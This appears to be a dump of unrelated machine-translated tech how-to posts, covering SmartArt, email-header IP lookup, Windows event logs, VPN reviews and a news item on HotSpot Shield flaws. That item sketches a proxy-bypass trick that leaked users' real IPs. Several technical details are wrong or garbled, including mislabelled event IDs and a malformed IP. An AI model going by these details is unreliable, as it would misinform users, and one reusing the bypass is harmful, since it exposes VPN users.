2016 allows presenters to transmit information in graphics instead of just using plain text. There are many ways to use SmartArt to illustrate different ideas.\nSmartArt Guide in PowerPoint 2016 How to insert SmartArt graphics How to add text to SmartArt graphics How to rearrange, add and delete shapes Sort SmartArt from the Design tab Customize SmartArt How to change the SmartArt layout How to insert SmartArt graphics 1. Select the slide to insert SmartArt graphics.\n2. From the Insert tab , select the SmartArt command in the Illustrations group .\n  \n3. A dialog box will appear. Select a category on the left, then select the desired SmartArt graphic, then press OK.\n  \n4. SmartArt graphics will appear on the current slide.\n  Users can also click the Insert a SmartArt Graphic command in the placeholder to add SmartArt.\n  How to add text to SmartArt graphics 1. Select SmartArt graphics. The text frame will appear on the left\n2. Enter the text next to each bullet (bullet) in the text box. Text will appear in the corresponding shape. Text will be resized automatically to fit the area inside the shape.\n  Users can also add text by clicking on the desired shape and then entering the content. This method will be useful if you just need to add text to a few shapes. However, for more complex SmartArt graphics, working in text frames is often faster and easier.\n  How to rearrange, add and delete shapes It's easy to add new shapes, change their order and even remove shapes from SmartArt graphics. Users can do all this in a text box (the same process as creating an outline with a list of multiple levels). For more details, please refer to the article: Working with lists in PowerPoint 2016.\nTo downgrade a shape, select the desired bullet, then press the Tab key . That bullet will move right, and the shape will move down one level.   To level up a shape, select the desired bullet, then press the Backspace key (or Shift + Tab ). That bullet will move to the left, and the shape will increase by one level.   To add a new shape, place the insertion point after the desired bullet, then press Enter. A new bullet will appear in the text box and the corresponding new shape will appear in SmartArt graphics.   To delete the shape, continue pressing Backspace until the bullet mark is deleted. The shape will then be removed. In the example in this article, we will delete all shapes without text.   Sort SmartArt from the Design tab If you don't want to use the text frame to sort your SmartArt, users can use the commands on the Design tab in the Create Graphic group . Just select the shape you want to modify, then select the desired command.\nPromote and Demote: Use these commands to move shapes up or down between levels.   Move Up and Move Down : Use these commands to change the order of images on the same level.   Add Shape: Use this command to add a new shape to the graphic. Users can also click on the drop-down arrow to get more accurate location options.   In the example in today's article, we organized a graphic with a hierarchical layout. Not all SmartArt graphics use this layout, so keep in mind that these commands may work slightly differently (or not at all) depending on the specific graphic layout .\nCustomize SmartArt After inserting SmartArt, there are some things that users should change so that its appearance becomes more eye-catching. Whenever the user selects SmartArt graphics, Design and Format tabs will also appear on the right of the Ribbon. It's easy to edit the style and layout of SmartArt graphics on these 2 tabs.\nThere are several SmartArt types available, allowing users to quickly modify the look of SmartArt. To change the style, click the desired option from the SmartArt styles group .   \nThere are many color schemes for use with SmartArt. To change the color, click the Change Colors command and select the desired option from the drop-down menu.   Users can also customize each shape independently. Just select any shape in SmartArt graphics, then select the desired option from the Format tab .   \nHow to change the SmartArt layout If you don't like the way information is organized in SmartArt graphics, users can always change its layout to better suit each specific content.\n1. From the Design tab , click the More drop-down arrow in the Layouts group .\n  2. Choose the desired layout or click More Layouts for more options.\n  3. The selected layout will appear.\n  If the new layout is too different from the original, some parts of the text may not appear. Before deciding on a new layout, check carefully to make sure no important information is lost.\nGood luck!\nSee more:\nPresentation tips with Powerpoint How to create SmartArt graphics in Excel Mind mapping in PowerPoint ncG1vNJzZmismaXArq3KnmWcp51kxLC%2BymauoqyYYsCurdGtmKusXZy%2ForzHopqsZZmjerG71p6pqaeZo8Fufo9qbQ%3D%3D\n","link":"/post/work-with-smartart-graphics-in-powerpoint-2016/","section":"post","tags":null,"title":"Work with SmartArt graphics in PowerPoint 2016"},{"body":"TipsMake.com - Welcome to the quiz series of TipsMake.com with topics related to the fields of information technology. And this time we will continue with part 2 of the OSI Model knowledge test, a total of 12 questions will be answered with no time to answer each sentence.\n  See also part 1 of the multiple choice test on OSI Model here\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ksrLByLNkpq2cqbaxuMRmmqGnmZiybsDErKtmp55ivLS1jKamnZ2cYr2ivtNmaQ%3D%3D\n","link":"/post/equiz-multiple-choice-test-on-osi-model/","section":"post","tags":null,"title":"eQuiz - Multiple choice test on OSI Model"},{"body":"Every time we receive an email, we don't just receive the content inside that message.Specifically, the Header section of the letter contains many important and necessary information about the origin of the sender, place of origin. In the following article, we will present some basic operations to help you identify this information in the simplest way.\nBut please be aware that this is only possible if the sender uses an anonymous proxy server system. Besides, if you receive an email sent from your Gmail account via a browser, it is difficult to find the correct IP address, because Google has a mechanism to hide this parameter when the data 'goes through'. server. However, if someone sends you an email from Gmail using a program, such as Thunderbird, Outlook, Apple . then this process will become much simpler.\nWith Gmail: First, you log into your Gmail account with Username and Password as usual, open any email. To display the Header section of that email, we click the button with the triangle icon next to the Reply to All link and select Show Original:\n  Look in the Received section, the information here will look like this:\nReceived: from [69,138.30.1] by web31804.mail.mud.yahoo.com\nThe number line inside brackets [] is the IP address you want to find, but if you get a lot of Received values ​​included, choose the last value.\nWith Yahoo: Same as above, after you log in to your account, select the Inbox and Subject of the email you need to test, right-click and the system will display the menu as shown below:\n  Continue, find information in Received: from section similar to Gmail. If there are multiple Received: from lines, use the data in the last line. If you can't find any Received: from line, look for X-Originating-IP instead.\nWith Hotmail: As we all know, Hotmail has officially been integrated with Windows Live, so the general format has changed a bit. And the following are the steps to proceed.\nLog in to your Hotmail or Windows Live account , select the Inbox link on the left. Below the column with the Sort by title, select any email and right-click, you'll see a menu showing some elements like Mark as read, Mark as unread . and finally View message source\n  Then we will see the Header section of the email. Similarly, look for the information starting with X-Originating-IP - this is the sender's IP address. If there is no X-Originating-IP then we will continue to receive Received: from and the accompanying number is enclosed in brackets []. In case you have multiple Received: from lines, it is necessary to remove the component that comes with the parameter like proxy.anyknownserver.com .\nWith AOL: The way to do it with AOL is not much different from the above. To get started, log in to your account with Username and Password, select the email you want to test, above you choose Action\u0026gt; View Message Source from the menu that displays:\n  The program will open a new page with the attached Header tab, here we just need to search for the information that comes with the X-AOL-IP parameter .\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ks6q6w2agqWWRmbGzsdKsZKieXaiyr7DEq2Sam5Okwq%2FA0matopldnLqitctmsJqgn6R6qbvTppiipF2WvK15zq6rpaefoHqmxM%2BrnKyr\n","link":"/post/find-ip-address-of-sender-accounts-via-gmail-yahoo-hotmail-aol-outlook-express/","section":"post","tags":null,"title":"Find IP address of sender accounts via Gmail, Yahoo, Hotmail, AOL, Outlook Express"},{"body":"Raspberry Pi single-board computer is a great choice for many applications. Because the Raspberry Pi is designed to be modified, one of the things users can do is overclock Pi. However, overclocking can lead to excessive heat gain, causing irreparable damage. Pi is designed to run at relatively high temperatures, however, if you overclock to get the best performance from Pi, you may experience problems. Fortunately, you can prevent this by cooling for Pi. Learn with TipsMake.com how to do the following article!\nDo you know how to cool Raspberry Pi? How does the cooling work? What happens if the Pi is too hot? Heatsink (Radiator) Where to apply the heat sink?  Fan How to install the fan  Water cooled How does the cooling work? Electronic devices generate heat. This heat can be detrimental to the performance of such electronic devices, so keeping them cool is paramount. Fortunately, there are a few reasonable ways to accomplish this. The first is with a heatsink.\n  The radiator is a piece of metal, most commonly made of copper or aluminum, with some fins extending vertically from the base. The radiator is applied to an electronic component that generates heat (in this case, the CPU). The heat is brought up, out of the CPU, into the heatsink, allowing heat to radiate into the air, cooling the CPU.\n  Another way to cool down the CPU is to use a fan. The fan has the function of removing heat from the CPU and other heat-generating components. This reduces the overall temperature of the CPU, improving its performance and stability.\nWhat happens if the Pi is too hot? Obviously, heat is not good for computers. Prolonged exposure to high temperatures can damage the motherboard and other components in the computer. If you can't start the Raspberry Pi, it's likely that the CPU has been damaged due to excessive heat.\n  The Raspberry Pi single bo computer is designed to run at very high temperatures, about 80 degrees Celsius. However, if you push your Pi to its limits, it is not unusual to see surging temperatures rise. above this level. Raspberry Pi will try to prevent damage by adjusting CPU speed and attempting to cool itself. Unfortunately, this will result in reduced performance and Pi will run slower.\nHeatsink (Radiator)   The radiator for Raspberry Pi is super cheap and really easy to install. As the article mentioned earlier, the two most popular types of radiators are aluminum and copper. Both types can be used with Pi. However, copper has a higher thermal conductivity than aluminum, allowing heat to pass through it faster. This means that copper radiators are usually better in heat dissipation than aluminum. However, copper is an expensive material and is often more difficult to manufacture. Due to these factors, heatsink made of copper is more expensive than aluminum-made devices.\nWhere to apply the heat sink? Since CPU, GPU and many other parts are placed in SoC (system on chip), the article will focus on cooling this component more than all other components, because it produces the most heat. You can also add heat sinks for memory chips and ethernet / USB controllers. However, you won't gain much performance if you do so, as they can only lower the overall temperature by about a degree.\n  Installing a radiator is very simple. Most of the available radiators for the Raspberry Pi have pre-glued thermal tape on the bottom. This means that all you have to do is locate SoC and paste the radiator up above it. Although the tape is super convenient, you should use alternative heat sink glue. This is because the thermal glue has a better conductivity.\nFan The most popular fans you'll find for Raspberry Pi are computer fan cases in size 30mm x 30mm. However, larger (and smaller) fans are also available. The fan size you use will depend largely on your settings and the type of case you use. Some cases have a built-in fan, and for other cases, such as the official Raspberry Pi case, there is a removable upper part for adding fans.\n  Whether you want the cool outside air to be inserted or the hot air inside pushed out, the general consensus seems to be that if your Pi is in a cover, such as a case, you want to add fan to cool it. If you can open Pi, put the fan in one of these two ways. Whichever way you choose, as long as you make the air flow, you will see a significant drop in temperature.\nHow to install the fan Each different radiator fan will have different installation instructions. However, most fans will be mounted via nuts and bolts. The fan will get power from the GPIO pins (General Purpose Input / Output). To turn the fan, place the red wire on the second leg from the outside of the outer row on the GPIO pin. Next, plug the black cord into the third leg, belonging to the same row, and you're done with everything.\nWater cooled If you've ever built a PC, you can get used to water cooling. Liquid cooling is the best way to cool the PC, as the heat transfer water is much better than air. For many people, cooling Raspberry Pi with water is too much, but the kit for doing this is still available, if you think you need it. A word of warning: if you choose water cooled, make sure you follow the instructions correctly!\n  With the proper cooling methods applied, you can overclock Pi to run advanced applications like the N64 emulator in RetroPie.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufpLluvsCsp5udoqfGbrzI\n","link":"/post/how-to-cool-raspberry-pi/","section":"post","tags":null,"title":"How to cool Raspberry Pi"},{"body":"Do not listen to understand the content of the video? Make the most of the built-in subtitles in the videos. See the following guide to customize YouTube video subtitle settings on your iPhone, iPad, and Android.\nSubtitles in YouTube videos make it easier to understand video content. In addition, you can customize the settings for these subtitles. You can adjust the size and font style for subtitles.\nNote: Not all YouTube videos are supported by captions. You can only turn on subtitles with videos with subtitles or create subtitles automatically by YouTube.\nTurn on / off YouTube video subtitles on iPhone, iPad and Android Step 1 . Open the YouTube application on your iOS device and open the video you want to watch.\nStep 2 . Now, click on menu button ⋮ .\n  Step 3 . Click the Captions / Subtitles button.\n  Step 4 . Next, you need to choose Vietnamese or subtitle language to see.\nNow, the subtitle for the video will appear. If you want to turn off subtitles, follow the same steps and then click No captions (on iOS) or Turn off captions (on Android.)\n  Change the size and font style for subtitles on iPhone and iPad Step 1 . Open Settings .\nStep 2 . Now, click on General → Accessibility.\n  Step 3. Next, in the Media section, click on Subtitles \u0026amp; Captioning → Next, click Style to adjust the size and font style for the subtitles.\n  Step 4 . Now, click Create New Style to select different font styles, sizes and colors.\n  Change the size and font style for subtitles on Android Step 1 . Open the YouTube application.\nStep 2. Now, click on your profile.\nStep 3 . Next, select Settings .\n  Step 4 . Next, turn on Captions and change the size and style of the subtitles.\n  Hopefully with the way to enable and customize YouTube video subtitles on this phone you will have more comfortable watching videos on your \"mobile phone\".\nSee more:\nHow to download YouTube videos to Android phones How to get YouTube video links on phones and computers How to download YouTube video subtitles fast and simple? Instructions to customize video subtitles on Facebook Instructions to merge subtitles into videos with Format Factory ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabpajBsLnIs6Cnn12uvLbA1JucZq6ZmbKwedKuma2hpKGytHnOp2SappSnvKqwjKmfqKaVqHqqvMeopZ5lmaWupQ%3D%3D\n","link":"/post/instructions-for-customizing-youtube-video-subtitles-on-android-phones-iphone-ipad/","section":"post","tags":null,"title":"Instructions for customizing YouTube video subtitles on Android phones, iPhone / iPad"},{"body":"The Humble Store is free through January 28, the popular Amnesia horror game is: The Dark Descent and A Machine for Pigs. This game is highly regarded by professionals and has won many awards from IGN in 2010: the best horror game, the best plot game, the best space game.\nIn Amnesia: The Dark Descen t The player will play the character Daniel to explore a dark castle. The incident took place around the end of August 1839, when Daniel had just woken up in a dark, mysterious castle while not remembering anything about himself or his past. The only thing left in this character's memory is the name Daniel, who lives in a place called Mayfair and is being hunted by something. The player's task is to lead Danile to explore the old streets in the castle, experiencing pitfalls and horror elements to find lost memories.\n  Amnesia: A Machine for Pigs is another survival horror game with gameplay that brings first-person experience. This is considered an indirect sequel to Amnesia: The Dark Descent but is not appreciated by the head.\nThe Amnesia Collection game is priced at 35USD and is being free until 1pm on January 28, 2017. If you have a need, download and experience it quickly.\nInstructions for getting free Amnesia Collection :\nStep 1: Go to the Humble Store page and create an account on it. Then confirm your account registration by email. If you already have an account, you only need to login.\nStep 2: Visit the following page to get free game titles: Buy Amnesia Collection from the Humble Store.\nSelect Add to card-\u0026gt; select Checkout -\u0026gt; select Get it for free! -\u0026gt; Link Steam account.\nStep 3: Log in with a Steam account.\nStep 4: Open the email, click on the order confirmation link.\nStep 5: In the new window that appears, select Redeem on Steam.\nStep 6: Key game will appear, save the game key.\nStep 7: Open Steam and look at the left corner of the Steam program, select + ADD A GAME -\u0026gt; select Active a Product on Steam . -\u0026gt; enter the game code received in step 6.\nSo you have this horror game permanently in your Library so you can play it anytime.\nSee more:\nQuickly download 6 games that are free for a short time Did you play the Goodia Run game of the super superhero? How to play the Rules Of Survival game on the computer ncG1vNJzZmismaXArq3KnmWcp51ktq%2FCyK2cZqyYmnqnrcyorKxlmKS%2Fs7vRZp6apZVirq66xKygmmWTpLmtscKtoKimXay8s8DHZmpuraOZeqq%2FjJ%2Bpnp0%3D\n","link":"/post/invite-the-famous-horror-game-amnesia-collection-worth-35usd-is-free/","section":"post","tags":null,"title":"Invite the famous horror game Amnesia Collection worth 35USD, is free"},{"body":"Many people often lend their phones to their friends to play games or surf the web, but are afraid that they will read their private messages on it, or do not want them to see the pictures taken on smartphones . Also, you are concerned about whether your smartphone is stolen and a bad person might unlock the smartphone and view the contents inside.\nAn application called Norton App Lock will help you to solve this problem. This is a free application of Norton security firm that allows users to set a password to protect access to applications installed on smartphones, such as messaging apps, email, photo albums . from there. activate by outsiders at their discretion in these applications to protect your privacy.\nOne advantage of Norton App Lock is that it can turn on / off protection easily, so you can activate the protection function when needed, for example when lending your phone to friends or children.\nCurrently the application only has a version for Android, readers can find and download from the Google Play application store, or download the application directly here\u0026nbsp;\u0026nbsp;(compatible with Android 4.2 and above).\nInstructions for setting up and licensing Norton App Lock To use Norton App Lock, users need to go through the setup and authorization steps for the application. At the first dialog box that appears when you first activate the application, click on the 'Agree \u0026amp; Launch' button to agree to the terms of use.\n  Press the 'OK' button in the next dialog box, then enable 'Authorize' to allow Norton App Lock to lock other apps on the smartphone.\n  Go back to the application setup interface, press the 'Setup' button, then select 'Installed Services' from the interface that appears and select 'Norton App Lock Service'.\n  Here, you switch from 'Off' to 'On', then press 'Allow' from the dialog box that appears to grant the Norton App Lock app permission.\n  Thus, you have completed the setup and authorization steps for Norton App Lock application.\nBecause Norton App Lock is an application of the reputable security firm Norton, you can rest assured that the app's rights do not violate and compromise the data and privacy of users on smartphones.\nAfter completing the setup steps, back to the main interface of Norton App Lock, the application will ask the user to create a password in the form of a pattern (pattern). You set up and confirm the password at the interface that appears.\nYou can click on the 'Switch to passcode' button to switch to a digital password.\n  This is the password used to protect the settings of the Norton App Lock application, and is also the password used to open applications locked and protected by Norton App Lock.\nAfter creating the password, the app will ask the user to log in to the Google account so that they can recover the app unlock password in case you forget the password. You press the 'Choose Google account' button, then choose one of the Gmail accounts that you have logged into on your smartphone to use, without having to sign in to a new Gmail account.\n  User guide Norton App Lock to lock important and private applications on your smartphone When accessing Norton App Lock application, users will have to enter a password (pattern or passcode), this ensures that the settings on Norton App Lock are not changed by others.\nThe main interface of Norton App Lock will display all the applications installed on the smartphone. To lock an app, simply tap the padlock icon after the app's name.\nFor example, if you want to lock the Message app or Photo Album on your smartphone so that others cannot read and view the content on these two applications, you can find and select the Album and message application on Norton App Lock interface and lock 2 this application again.\nNow, every time you activate the applications that are protected by Norton App Lock, this application will ask you to correct the password you set in order for the new applications to be activated.\nWith the help of Norton App Lock, you can protect important private and private apps on your smartphone, even by handing your smartphone to someone else or the smartphone being unlocked and illegally accessed. Important equipment on the device will still be safely protected.\nncG1vNJzZmismaXArq3KnmWcp51ku7C%2B06ilZpmgpXqtu8KkZKmqn6mypMDSZqCmqJ%2BnwaK602aYp5xdpb%2BqwsCtnGaZoKXAbrvNZrCoraJiwK6t0a2noaeemg%3D%3D\n","link":"/post/norton-app-lock-protects-important-and-private-apps-on-your-smartphone/","section":"post","tags":null,"title":"Norton App Lock protects important and private apps on your smartphone"},{"body":"Not long ago, on the social network suddenly appeared funny music videos composed by the young people themselves and the good news is that you can absolutely have your own \"works\". Does it sound curious? So what is the word for you that you don't follow our article below.\nDownload Ditty for Android Download Ditty for iOS Step 1: Open the Ditty app and click Let's go! to start using.   Step 2: Choose music type (there are many different types of music, here we choose Country)   Step 3: Next, choose a specific song, write the lyrics, then click Try   Step 4: Wait a moment for the software to rap lyrics and music   Step 5: When the matching process and the music is complete, you will hear your \"work\"   Step 6: Besides, the application also allows you to join existing random GIF images or record your own video.   Trick to watch YouTube videos on VLC Media Player Trick to watch YouTube videos on Windows 7 Media Center Simple way to create Karaoke songs Hope the article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51kvbOxz5qpnmWWqruvxYymrKyhk2LDqrDEqKpmp55iwamxjKmfqKaVYsSqwMdmm6KspK4%3D\n","link":"/post/prepare-funny-music-videos-on-the-phone-with-ditty/","section":"post","tags":null,"title":"Prepare funny music videos on the phone with Ditty"},{"body":"Today, Android mobile phones are used as a personal computer. The latest smartphones are powerful enough to hold a large amount of information and handle many of the tasks you had to do with the desktop before.\nThe downside of using a phone as well as a personal computer is that there are too many files on the phone. The more files, managing files on Android and finding them, takes more time. Currently, Android does not yet have the feature to search files on the entire device. However, you can still search for documents, books, music and video files on Android using a 3rd party application. Below is a detailed guide.\nAndro Search application\nThe first option is the Andro Search application. The application is free, but if you want to delete ads or use some specific features, you need to upgrade to the Pro version. After installation, the application will scan the device content and find the files you need.\nThe search bar is at the top of the screen. You can search by name, file type even by numbers (useful when searching for phone numbers). Below the search bar will list all recently changed files and newly installed applications.\n  Andro Search also searches files in Evernote, Microsoft Word, Excel, OpenOffice as well as PDF files and other applications. When you find the file, the application will display the preview and if it is the content you are looking for, just click the file to open it. If the search file is a video, Andro Search will ask you to select the application to watch the video.\nNext to the file, you will see a drop-down menu that provides options such as deleting, sharing, viewing details, opening files, etc.\n  Jet File Search application\nOn the home page of the application, all files will be grouped into different categories such as recent, download, audio, photo, .\n  To find the file, click the search icon at the top right. When entering the file name, the application will not display the preview, but it will show you the full name of the file. Press the search icon on the keyboard and the files will appear on the screen.\n  You can also change how the files are sorted. For example, you can sort files by time, type, size and alphabetical order. It can also sort files by 1, 2, or 3 columns. When starting the application it will be a bit slow, but it is quite useful to find files.\nSee more:\nHow to use Files Go to manage files, share data on Android 10 best free video players for iOS devices ncG1vNJzZmismaXArq3KnmWcp51kvra1wqRkn6Gcmnq0scCrmqFlkaW9rbXCmquip55ivK95wKebq6eZmQ%3D%3D\n","link":"/post/quick-file-search-application-on-android/","section":"post","tags":null,"title":"Quick file search application on Android"},{"body":"The function int rename (const char * old_filename, const char * new_filename) in Library C standard makes filename referenced, changed from old_filename to new_filename.\nDeclare rename () function in C Below is the declaration for rename () function in C:\nint rename ( const char * old_filename , const char * new_filename )  Parameters\nold_filename - This is the string containing the file name to be renamed and / or moved.\nnew_filename - This is the string containing the new name for the file.\nReturns the value\nIf successful, the function returns 0. If there is an error, the function returns -1 and errno is set appropriately.\nFor example\nThe following program C illustrates how to use the rename () function in C:\n#include int main () { int ret ; char oldname [] = \"baitapc.txt\" ; char newname [] = \"baitapc1.txt\" ; ret = rename ( oldname , newname ); if ( ret == 0 ) { printf ( \"Doi ten file thanh cong !!!\" ); } else { printf ( \"Error: khong the doi ten file\" ); } return ( 0 ); }  Suppose we have baitapc.txt with some content. We are preparing to delete this file by using the above program. Compile and run the above program to create the following message and the file will be renamed to baitapc1.txt.\n  According to Tutorialspoint\nPrevious post: remove () function in C\nNext lesson: The rewind () function in C\nncG1vNJzZmismaXArq3KnmWcp51kv6a6wKacZp6lo7C1tc6nZKKmXZg%3D\n","link":"/post/rename-function-in-c/","section":"post","tags":null,"title":"Rename () function in C"},{"body":"Users should use a different password for each online account they own, for average Internet users, remembering all the different passwords for each account is almost impossible. . But if you don't use many different passwords, the account is very easy to hack.\nFortunately, there is a solution to use multiple passwords without worrying about forgetting them. It is using the password manager. These tools not only create secure passwords only, but also save them to help users. Finding a reliable but free utility is not easy. But that doesn't mean you always have to pay to use a good service. Today's article will review Cyclonis Password Manager, a really good alternative to paid software.\nShould Cyclonis Password Manager be selected? Introducing Cyclonis Password Manager Key features of Cyclonis Password Manager Password management Strong encryption Two-factor authentication Store payment data and sensitive information Synchronize on multiple devices  Installation and operation Advantages of Cyclonis Password Manager Disadvantages of Cyclonis Password Manager Introducing Cyclonis Password Manager Developed by Cyclonis Limited, Cyclonis Password Manager is a free utility for users who worry about reusing passwords. This tool has built-in password manager, seamless installation on Windows and Mac machines. Users can also install this tool as a browser extension or as a separate software on the system.\n  Key features of Cyclonis Password Manager Cyclonis Password Manager not only acts as a tool to create and save complex passwords but also provides many useful features for users. Here are some of the salient features of these. Anyone with Windows 7 SP1, or macOS 10.11 and above can install this tool.\nPassword management The main feature of this tool is to manage all user account passwords. As soon as the software is installed on the device, Cyclonis Password Manager will scan and enter the saved password from the browser (s) or from any other password manager. This means that users will not have to retype all login information. You can enter this data at the time of installation or at any time later by accessing the option via the File menu .\nIn addition to entering previously saved passwords, Cyclonis Password Manager also helps create new strong passwords and save them for users.\n  Strong encryption An important feature provided by Cyclonis Password Manager is strong encryption capabilities. Cyclonis Password Manager uses the advanced 256-bit encryption (AES) algorithm to ensure that stored data is kept private for users.\nTwo-factor authentication For added security during the login process, Cyclonis Password Manager also provides two-factor authentication. That means if anyone succeeds in stealing the Cyclonis Password Manager password, it will be difficult to access the passwords stored in it.\nStore payment data and sensitive information The Cyclonis vault's powerful encryption feature not only ensures the security of passwords, but also makes use of it to store sensitive documents, private notes and billing information.\n  Synchronize on multiple devices Cyclonis Password Manager seamlessly syncs across multiple devices by providing cloud-based vault ('storage') settings. You can use any of your favorite cloud services, then you can access your account from anywhere. The software supports most popular cloud services like Google Drive, Microsoft OneDrive, Dropbox and Apple iCloud.\nInstallation and operation You can easily download Cyclonis Password Manager for Windows or Mac. After the download process is complete, run the installer, select the desired language for the application and accept the license terms. The installation process will be completed shortly.\nAfter installation, you can create an account with your email address and set up a Master Password. This unique password controls all other passwords in the future. Just make sure you have chosen a strong password and do not forget it.\nIf you plan to use this software on multiple devices, you can set your vault on the cloud for quick access. Or, if there is only one device and never plan to use this software on other devices in the future, you can store the vault locally. In both cases, all you need is the Master Password to access the password storage vault.\nCyclonis has provided a detailed user guide on the website, explaining how this tool works. Refer to: https://www.cyclonis.com/products/password-manager/how-it-works/\n  Advantages of Cyclonis Password Manager Completely free (no premium version) Compatible with a variety of browsers (Chrome, Firefox, Opera, Safari and Microsoft Edge) Analyze password strength Can be synchronized with different devices Ensure quick login to different websites Automatically fill in forms and online payment pages Alert for old passwords and update passwords User-friendly interface Disadvantages of Cyclonis Password Manager Some users may not like the advertising policies of Cyclonis Password Manager Most features of Cyclonis Password Manager may be similar to other password managers. But what makes this tool different is that it offers these advanced features completely free.\nncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZqyYmnqkxcKlpqeho2K9or%2FSsKarnF2irq%2Btxp6pZqiRqMC4u9GdZKaZnpa0pr4%3D\n","link":"/post/review-the-cyclonis-password-manager-password-manager/","section":"post","tags":null,"title":"Review the Cyclonis Password Manager password manager"},{"body":" Created at the University of Tsukuba in Japan, VPN Gate is an open source VPN project that provides secure VPN networks to Internet users anywhere in the world. As an academic project, VPN Gate - sometimes referred to as VPNGate - is free to use.\nFree software Version: 2021.03.05 Update date: March 5, 2021 Platform: Windows Download VPN Gate 2021.03.05 here.\nVPN Gate also focuses on anonymity and privacy. User does not have to register to use the service and anonymous connections are accepted. This can appeal to Internet users who want to increase anonymity while browsing the web, but still want a free and open source VPN solution.\n  Why use VPN Gate? You can take advantage of these advantages when using VPN Gate:\nYou can browse restricted websites. You can hide your IP address to hide your identity while surfing the Internet. You can protect yourself by using strong encryption while using public WiFi. Unlike traditional VPN services, VPN Gate can bypass most firewalls, free and without registration.\n11 best VPN software today The features of VPN Gate The VPN Gate network consists of many VPN servers, provided by volunteers around the world. You can provide your own computer as a VPN server to participate in this test. More information: How to create a VPN server on Windows without using software? Windows, Mac, iPhone, iPad and Android are supported. Supports SSL-VPN protocol (SoftEther VPN), L2TP / IPsec protocol, OpenVPN protocol and Microsoft SSTP protocol. Anonymous connection is accepted. No user registration required. Each VPN server has a dynamic IP address. Therefore, it may change over random time The VPN server appears and disappears at any time. Therefore, the IP address may not always be connected to the VPN server. All VPN servers are capable of routing your traffic to the Internet, so you can hide your real IP address. Reference: How to use VPN Gate fake IP to stabilize Internet for more details. Using a server somewhere other than your region may provide you with easier access to some websites. Advantages\nFree No registration required Long list of servers Many different protocols Defect\nThere is no kill switch The speed is extremely slow Logging Lost connection No support Cannot be used for torrents VPN Gate fake IP  Jessica Tanner Update 05 March 2021\nncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdq72vecaaq55lYmV%2FcnySaWxmq5%2Bbwbit0Z5kraddnbalsYyfmKSdXZ69bq3Dnameq6M%3D\n","link":"/post/software-to-hide-fake-ip-address/","section":"post","tags":null,"title":"Software to hide, fake IP address"},{"body":"Step 1: You proceed to open the Start Menu and enter RUN to open the quick access window on the computer.\n  Step 2: Then, you proceed to enter the command 'gpedit.msc' and press Enter to open the Local Group Policy Editor .\n  Step 3: When the Local Group Policy Editor is opened, you proceed to access the folders in turn as follows.\nComputer Configuration (1) =\u0026gt; Windows Settings (2) =\u0026gt; Security Settings (3) =\u0026gt; Local Policies =\u0026gt; Audit Policy (4)   Step 4: Then, right-click on the Audit logon events item and select Properties .\n  Step 5: In the Audit logon events Properties window , you proceed to tick 02 items: Success and Failure (1) and click OK (2) to complete.\n  Step 6: After completing the setup, continue to press the Windows + R combination to open the Run window. This time, we will need to enter the command ' eventvwr.msc ' and press Enter to open it.\n  Step 7: In the Event Viewer window , go to Windows Logs (1) =\u0026gt; Security (2) .\n  Step 8: At the interface displayed, you are only interested in the middle dialog box and your job is to find the keys with ID: 4624 Logon .\nExplanation: ID 4642 means successful login attempts on a Windows computer and next to it has a timeline for you to compare. In addition to ID 4642, you can also get more information through the following Event IDs:\nEvent ID 4634: Turn off the computer completely (turn off with Start Menu =\u0026gt; Shutdown) Event ID 1074: The process of shutting down the computer with an application (usually Windows Update or Reboot after removing the application or software) Event ID 6006: Turn off all events, this means Windows 10 is completely shut down Event ID 6008: The computer is suddenly turned off (power failure. BsoD, pressing the power button, etc.)   In this article, TipsMake has shown you how to check the log, history of using Windows computers. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddq7amw4ylpqCrXZa7pXnUrJignV2dtrTAzquwZqeWYsSqusOorqxlYWV6pLvMqaytnaKo\n","link":"/post/steps-to-view-logs-and-usage-history-of-windows-10-computers/","section":"post","tags":null,"title":"Steps to view logs and usage history of windows 10 computers"},{"body":"Researchers have found a serious vulnerability that could leak true IP addresses and other sensitive information on very popular and widely used VPN software.\nVPN theory - What is a virtual private network? Useful virtual private networks on Google Chrome Some people use VPN to browse anonymously or to protect their identity, and many people use them to hide their real IP addresses, bypass censorship and access blocked websites by region. But the bad news is that these software reveal the information you want to hide.\nA group of three hackers hired by Mentor VPN revealed that three very popular VPN service providers, the HotSpot Shield, the PureVPN and the Zenmate - with millions of users around the world - turned out to be vulnerable.\nAfter some security tests on these 3 VPN services, the team found that all three leaked the user's real IP, thereby identifying their identity and location.\nThe PureVPN is also the company that says it has never recorded history, but a few months ago used access history to help the FBI arrest a man in online surveillance.\nThe issue of Zenmate and PureVPN has not been published in detail because it has not been patched yet, but VPN Mentor said the error on Zenmate is less serious than the HotSpot Shield and PureVPN.\n  Capital is used to hide IP but users are at risk of being exposed to IP because of VPN software\nThese are 3 vulnerabilities on HotSpot Shield and have been patched.\nHIjack traffic (CVE-2018-7879) is part of the HotSpot Shield Chrome extension, allowing intrusion and redirection of web traffic to the infected site. Leak DNS (CVE-2018-7878) leaks IP users to DNS servers, allowing ISPs to monitor and record activity. True IP address leak (CVE-2018-7880) allows hackers to track user locations. This error is due to the whitelist to allow a very loose direct connection. Any domain with localhost such as localhost.foo.bar.com for example, and type = a1fproxyspeedtest in the address bar can bypass proxy and leak real IP. Note that the above holes are on the Chrome browser utility, not on the mobile application or the software installed on the device.\nSee more:\nRussia banned proxy services and VPN to block extreme content China banned VPN services to build the Great Wall The best way to fake IP computer, best ncG1vNJzZmismaXArq3KnmWcp51kwrS1zaBkoaekqL2wwIysn6KdnJl6p7vRZqqem6WntrXFjKipZp6RmLKju86kZJqbk5rAtHnYqKyrZZmleqq%2FjJqrZqqZqLhuu8VmmZ6hnpx6psTPqKqenA%3D%3D\n","link":"/post/using-hotspot-shield-for-security-or-facebook-access-your-ip-is-at-risk-of-being-exposed/","section":"post","tags":null,"title":"Using HotSpot Shield for security or Facebook access? Your IP is at risk of being exposed"},{"body":"We are in an age where there are countless hyperlinked note-taking apps, one that has always been there, simple yet really effective: Windows Notepad. Here are the reasons why you should make a habit of using Notepad to take notes.\nPros and cons of Notepad 